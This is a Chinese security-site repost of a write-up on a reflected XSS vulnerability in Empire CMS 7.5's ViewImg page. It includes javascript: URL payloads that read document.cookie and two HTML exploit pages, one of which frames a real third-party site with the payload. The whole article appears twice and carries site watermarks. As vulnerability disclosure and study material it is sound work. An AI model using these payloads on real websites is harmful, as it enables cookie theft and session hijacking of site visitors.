欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Empire CMS v7.5前台XSS漏洞

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

概述
帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。
相关环境
源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析
1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。

2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。
例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。

3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。

4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。


利用方法
1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html
2、详细利用代码如下,第一段代码,效果如下:
html xmlns="http://www.w3.org/1999/xhtml">
head>
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    title>中转title>
head>
body>
iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;">iframe>
body>
html>

3、第二段代码如下,嵌套前面的代码实现任意位置移动。
html xmlns="http://www.w3.org/1999/xhtml">
head>
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    title>存储型SS测试title>
head>
body>
marquee behavior="alternate">→→→→→→→→→→iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no">iframe>←←←←←←←←←←marquee>
body>
html>
4、两段代码最终效果如下。

5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……

总结
1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。
2、至于利用方法,是几年前无聊想的,所以拿来用用。
 

概述
帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。
相关环境
源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析
1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。
copyright 无奈人生
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。
例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。

3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。

4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。

内容来自无奈安全网


利用方法
1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html
2、详细利用代码如下,第一段代码,效果如下:
html xmlns="http://www.w3.org/1999/xhtml">
head>
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    title>中转title>
head>
body>
iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;">iframe>
body>
html>

copyright 无奈人生


3、第二段代码如下,嵌套前面的代码实现任意位置移动。
html xmlns="http://www.w3.org/1999/xhtml">
head>
    meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    title>存储型SS测试title>
head>
body>
marquee behavior="alternate">→→→→→→→→→→iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no">iframe>←←←←←←←←←←marquee>
body>
html>
4、两段代码最终效果如下。

5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……
无奈人生安全网
总结
1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。
2、至于利用方法,是几年前无聊想的,所以拿来用用。
  copyright 无奈人生

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。